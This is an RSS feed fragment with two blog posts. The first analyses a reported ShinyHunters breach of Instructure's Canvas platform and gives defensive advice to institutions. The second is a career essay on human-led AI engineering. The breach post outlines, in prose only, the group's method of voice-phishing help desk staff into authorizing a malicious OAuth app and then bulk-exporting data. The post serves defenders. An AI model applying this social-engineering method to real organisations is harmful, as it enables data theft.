]]></content:encoded></item><item><title><![CDATA[ShinyHunters Didn't Breach 9,000 Schools. They Breached One Vendor. Your Institution Inherited the Rest.]]></title><description><![CDATA[On the evening of April 30, Instructure opened a support ticket on its own status page. The language was quiet: "limited disruption to tools relying on API keys." Canvas Data 2 and Canvas Beta went in]]></description><link>https://blog.theknowngood.com/instructure-canvas-breach-saas-supply-chain</link><guid isPermaLink="true">https://blog.theknowngood.com/instructure-canvas-breach-saas-supply-chain</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Security]]></category><category><![CDATA[#infosec]]></category><category><![CDATA[threat intelligence]]></category><category><![CDATA[Cloud]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Fri, 08 May 2026 17:21:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/658b6239-3081-4a04-860d-55bbcf444290.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On the evening of April 30, Instructure opened a support ticket on its own <a href="https://status.instructure.com">status page</a>. The language was quiet: "limited disruption to tools relying on API keys." Canvas Data 2 and Canvas Beta went into maintenance mode. Tools that used API keys started failing silently at institutions across the country. By the next afternoon, the quiet language was gone. CISO Steve Proud confirmed a criminal threat actor had accessed names, email addresses, student ID numbers, and private user messages. Outside forensics were already on-site.</p>
<p>Twenty-four hours from "limited disruption" to confirmed breach. If you run Canvas at your institution and you're reading this, that window matters -- because it's probably how long your integrations were authenticating against a compromised environment before the keys got rotated.</p>
<p>This piece is for the people who have to make decisions in the next few days: the IT security staff, the sysadmins managing LTI integrations, the folks who got a vendor notification and are now trying to figure out what it actually means for their environment. I'm going to be precise about what's confirmed, what's being inferred from the disruption pattern, and what is currently just ShinyHunters telling their side of the story.</p>
<h2>What Instructure Has Actually Confirmed</h2>
<p>The confirmed data classes are names, institutional email addresses, student ID numbers, and messages sent between users inside the Canvas platform. Instructure has explicitly stated they found no indication that passwords, dates of birth, government identifiers, or financial information were involved. Take that at face value as a starting point, not as a conclusion -- the forensic investigation is still active.</p>
<p>The containment actions Instructure has confirmed: privileged credentials and access tokens were revoked, certain application keys were rotated (requiring users to reauthorize connected tools), security patches were deployed, and additional monitoring was implemented. Instructure's own status update on May 6 stated that Canvas is fully operational and there is no ongoing unauthorized activity. They're now communicating directly with impacted institutions rather than through the public status page.</p>
<p><a href="https://www.umass.edu/it/instructure-incident">UMass Amherst's IT advisory</a> confirmed Instructure notified both the FBI and CISA. No <a href="https://www.cisa.gov/news-events/cybersecurity-advisories">CISA advisory</a> has been published specific to this incident as of this writing.</p>
<h2>What We're Inferring From the Disruption Signature</h2>
<p>Instructure has not publicly disclosed the attack vector. What the disruption pattern tells us, independent of anything ShinyHunters claims: the specific systems that went down were Canvas Data 2 and Canvas Beta, and the specific symptom institutions reported was failure in tools that depended on API keys. Instructure's containment response was to revoke privileged credentials and rotate application keys -- not to push an emergency patch for a user-facing vulnerability, not to force a password reset across the user base.</p>
<p>That pattern is consistent with compromise at the application-layer credential or service-account level. Something with privileged API access was compromised, and the remediation was to kill and reissue those credentials. That's a meaningfully different failure mode than a web application vulnerability or a mass credential phishing event. It suggests the attacker had access that looked like legitimate administrative traffic, which is exactly why Canvas Data 2 was the affected surface -- that's the analytics export pipeline, the part of the stack that moves data in bulk.</p>
<p>I want to be explicit that this is inference from the available evidence, not Instructure's confirmed account. The company hasn't said what the access path was.</p>
<h2>What ShinyHunters Claims (and What to Do With It)</h2>
<p>ShinyHunters posted to their Tor-based leak site on May 3, claiming responsibility, 3.65 terabytes of exfiltrated data, 275 million affected users across roughly 9,000 institutions. On May 7, the same group defaced Canvas login pages at multiple institutions with an extortion message accusing Instructure of ignoring their outreach and demanding negotiations before May 12.</p>
<p>The scale figures -- 275 million users, 3.65 TB -- are adversary self-reporting and have not been independently verified. Treat them as pressure tactics, not confirmed data inventory. The University of Pennsylvania confirmed approximately 306,000 affected users at their institution specifically; that's the most concrete institution-level figure I've seen from a confirmed source.</p>
<p>ShinyHunters also claims Instructure's Salesforce instance was compromised as part of this campaign. That claim is unconfirmed by Instructure, but it lines up directly with the documented September 2025 breach, where social engineering against Instructure's Salesforce environment was the confirmed vector. Whether May 2026 is a fresh intrusion through the same path, or persistence from the earlier compromise, hasn't been established publicly.</p>
<p>Instructure hasn't attributed this incident to a named actor. That's relevant -- it means we're working with claimed attribution, not confirmed attribution.</p>
<h2>Who ShinyHunters Is Right Now</h2>
<p>The group's current operating model is worth understanding because it shapes what the residual risk looks like for your users.</p>
<p>ShinyHunters started as a mass data theft operation in 2020 and has spent the last two years pivoting toward targeted SaaS extortion. They're operating under loose affiliation with what researchers at Trustwave SpiderLabs have characterized as the Scattered LAPSUS\( Hunters alliance -- not a formal merger, but a situational brand that combines ShinyHunters' data theft capabilities with Scattered Spider's social engineering tradecraft and LAPSUS\)'s brand recognition. The threat intel community flags attribution here as genuinely messy; the group leans into that.</p>
<p>Their Salesforce campaign across the summer of 2025 is the most documented precedent. The attacks didn't exploit Salesforce vulnerabilities. They used voice phishing against help desk staff to coerce employees into completing legitimate <a href="https://blog.vertexops.org/roblox-cheat-script-vercel-breach-oauth-supply-chain">OAuth authorization flows</a>, combined with Salesforce Data Loader -- a bulk export tool designed for legitimate data migration -- to pull CRM data at scale. No custom malware. No zero-day. The attacker impersonated IT support, got someone to authorize a malicious Connected App, and then used Salesforce's own tooling to walk out with the data.</p>
<p>That's the group's signature: get legitimate access, use legitimate tooling, make the exfiltration look like authorized activity. The May 2026 Instructure disruption pattern -- API key failures, Canvas Data 2 affected, bulk analytics pipeline disrupted -- is consistent with that approach at the application layer.</p>
<h2>The Blast Radius Is Bigger Than the Breach Itself</h2>
<p>This is the piece that a vendor notification email won't explain clearly enough.</p>
<p>Canvas integrates with over 1,000 external tools. LTI apps, SIS connectors, gradebook sync tools, SSO configurations, analytics platforms, third-party assessment tools -- all of them authenticated against Canvas at some point before the keys were rotated. Instructure rotated the platform-side keys. Your institution's tenant-generated API keys are yours to rotate, and they aren't automatically invalidated by Instructure's remediation unless they happened to be the specific keys that were compromised.</p>
<p>If you have API keys your institution generated for Canvas integrations, they need to be treated as potentially compromised until you've rotated them yourself. That's not Instructure's responsibility to do for you.</p>
<p>There's a second exposure window that's getting less attention: the re-authorization prompts. When Instructure rotated application keys, connected tools started prompting users and admins to re-authorize access. That's a real, legitimate process. It's also an ideal template for a phishing campaign. An attacker with a list of confirmed institutional email addresses -- which is exactly what was taken -- can send re-auth prompts that are structurally indistinguishable from the real ones. In prior incidents against edtech platforms, the phishing wave has followed the breach disclosure within weeks. That window is open right now.</p>
<p>Treat any Canvas re-authorization email that arrives via your inbox rather than directly inside the Canvas interface as suspicious until you've verified the source.</p>
<h2>What to Do This Week If You Run Canvas</h2>
<blockquote>
<p><strong>Immediate action:</strong> Rotate every API key your institution generated for Canvas integrations. Instructure rotated platform-side keys -- tenant-generated keys are your responsibility and are not automatically invalidated by their remediation.</p>
</blockquote>
<p>Rotate every API key your institution generated for Canvas integrations -- LTI tools, SIS connectors, reporting pipelines, anything that authenticates against Canvas using a key you hold. Don't wait for Instructure to tell you which keys were affected; the answer is that you don't know yet, and the cost of rotating is low relative to the cost of a compromised integration sitting quietly in your environment.</p>
<blockquote>
<p><strong>Immediate action:</strong> Audit every app registration and OAuth grant your identity provider holds for Canvas. A Canvas-linked credential with directory access is a path to your entire tenant, not just Canvas.</p>
</blockquote>
<p>If your Canvas SSO ties into Microsoft Entra ID, open up Enterprise Applications and App Registrations right now. Review what consented to Graph API permissions, rotate client secrets on Canvas-linked app registrations, and verify that each grant reflects least-privilege scope. A Canvas-side credential that has Graph API access to your Entra tenant is a path to your directory, not just Canvas.</p>
<p>Do the same audit for any other identity provider Canvas federates against. The breach is at Instructure. The credentials and OAuth grants that Canvas holds into your environment are your exposure surface.</p>
<p>Enforce MFA on privileged accounts if you haven't already -- Instructure's own post-containment guidance said this explicitly. And for the next sixty to ninety days, treat any unexpected Canvas-themed email as a potential social engineering attempt. That includes password reset prompts, re-authorization requests, grade notifications from unfamiliar addresses, and anything that asks for institutional SSO credentials via a link.</p>
<p>For K-12 specifically: the <a href="https://www.federalregister.gov/documents/2025/04/22/2025-05904/childrens-online-privacy-protection-rule">FTC's updated COPPA amendments</a> took effect June 23, 2025, and the compliance deadline for most operators landed on April 22, 2026. The Instructure breach was detected eight days after that deadline passed. For districts with Canvas users under thirteen, the updated security and breach notification requirements aren't pending -- they're now in force. Start your COPPA notification assessment now, before a state AG inquiry prompts it.</p>
<h2>The Structural Problem That Keeps Producing These Incidents</h2>
<p>This is the third major edtech SaaS vendor in eighteen months to lose student data at scale. PowerSchool disclosed a breach in late 2024 -- with estimates indicating more than 62 million students and 9.5 million teachers may have had records exposed. Infinite Campus followed. Now Instructure. The vendors are different. The architecture is identical.</p>
<p>A single SaaS provider holds data on tens of millions of students across thousands of institutions. That provider gets compromised through a single privileged account, a single integration, or a single misconfigured CRM instance. Every institution that trusts that provider inherits the breach simultaneously. None of their own perimeter controls -- firewalls, endpoint detection, DLP -- saw a thing, because the attacker never touched their perimeter. The attacker <a href="https://blog.vertexops.org/project-glasswing">used legitimate credentials to access a legitimate platform</a> and pulled data that was supposed to be inside a trusted perimeter. It looked like authorized traffic because it was authorized traffic, with stolen authorization.</p>
<p>This is what supply chain risk actually looks like at the identity layer. The question worth sitting with isn't "how do we harden Canvas" -- you can't harden a vendor's platform from outside it. The question is: what does your institution trust Canvas with, how many integrations does that trust extend through, and do you have visibility into what happens when that trust is violated? For most institutions right now, the honest answer to that last part is no.</p>
<p>The breach notification will come. The phishing wave is already starting. The forensic investigation is still running. Keep checking <a href="https://status.instructure.com">status.instructure.com</a> and your institution's IT security page for updates, and assume the situation is still developing until it demonstrably isn't.</p>
<p>If you've already gone through this rotation and audit process at your institution, I'd be curious what you found in your Entra app registrations -- the breadth of OAuth consent grants in a mature Canvas deployment tends to surprise people.</p>
]]></content:encoded></item><item><title><![CDATA[The Floor Has Been Hit: Navigating the 2026 Systems Engineering Realignment]]></title><description><![CDATA[Something shifted in the last ninety days. If you have been watching the job market closely, you likely felt it before it surfaced in the data. Net tech employment is projected to grow by nearly 2% th]]></description><link>https://blog.theknowngood.com/2026-tech-realignment-hitl-engineering</link><guid isPermaLink="true">https://blog.theknowngood.com/2026-tech-realignment-hitl-engineering</guid><category><![CDATA[AI Engineering]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[infrastructure]]></category><category><![CDATA[career advice]]></category><category><![CDATA[Future of work]]></category><dc:creator><![CDATA[Kerry Kier]]></dc:creator><pubDate>Sun, 03 May 2026 15:36:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69e25879fd22b8ad624b31de/c07b371d-35ad-4c64-b463-f084d1ef4028.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Something shifted in the last ninety days. If you have been watching the job market closely, you likely felt it before it surfaced in the data. Net tech employment is projected to grow by nearly 2% this year. While modest, this represents a vital pivot: the industry has stopped shrinking. We have hit the floor, and the climb out has begun.</p>
<p>But it does not look like 2021, and it is not going to.</p>
<p>The junior developer pipeline that used to be the on-ramp for a whole generation of engineers is still getting compressed. AI handles a lot of that surface area work now, and companies are no longer pretending otherwise. What I am seeing instead, both in the industry conversation and in what is actually getting budgeted, is demand for people who can do something AI genuinely cannot: be the adult in the room.</p>
<blockquote>
<p><strong>What is "Human in the Lead" (HITL) Engineering?</strong> HITL is a technical operational framework where AI models (LLMs) function as execution tools while a human engineer maintains accountability for business logic, security guardrails, and final system outcomes. In 2026, this has shifted from a theoretical concept to a budgetary requirement for infrastructure and cybersecurity teams.</p>
</blockquote>
<h3>The Reality of "Human in the Lead"</h3>
<p>The underlying problem companies are trying to solve is real. Organizations tried to replace entire departments with LLMs and discovered they had simply built a faster way to make mistakes at scale. Now they need people who understand the business logic well enough to build the guardrails, catch the hallucinations before they become a million dollar incident report, and actually own the outcomes.</p>
<p>That last part matters. Ownership. AI does not have it.</p>
<h3>Why Infrastructure Still Needs Humans</h3>
<p>This is especially visible in cybersecurity and infrastructure, which should not surprise anyone who has been watching the breach disclosures come in this spring. You cannot patch a wormable flaw with a chatbot. You cannot audit a compromised OAuth token chain or trace lateral movement through a compromised environment by asking a model to "check for anomalies." Someone has to know how the stack actually fits together, at every layer, and be willing to be accountable when it does not.</p>
<p>That is not a knock on AI tooling. I run <strong>Ollama</strong>, <strong>LiteLLM</strong>, and <strong>Open WebUI</strong> on an <strong>RTX 3060</strong> in my homelab and I think about this stuff constantly. The tools are genuinely useful. But useful and autonomous are very different things, and I think the industry spent about eighteen months confusing the two.</p>
<h3>The Strategic Shift</h3>
<p>The bar for entry is higher than it was a few years ago. You cannot slide in with surface level skills and expect the job market to carry you. What has changed, and what actually matters here, is that the people who can bridge technical execution and real strategic thinking are in a better position than their counterparts were at any point in the last five years.</p>
<p>Not because the machines got dumber. It is because organizations finally have enough scar tissue to know what they actually need. The realignment is real. The demand is real. It is just landing on a narrower target than a lot of people expected.</p>
<p><strong>About the Author</strong> Kerry Kier is a Systems Engineer specializing in infrastructure, AI, and public safety technology. He maintains an extensive homelab in Sacramento, California, where he focuses on digital sovereignty and local-first AI solutions.</p>
]]></content:encoded></item></channel></rss>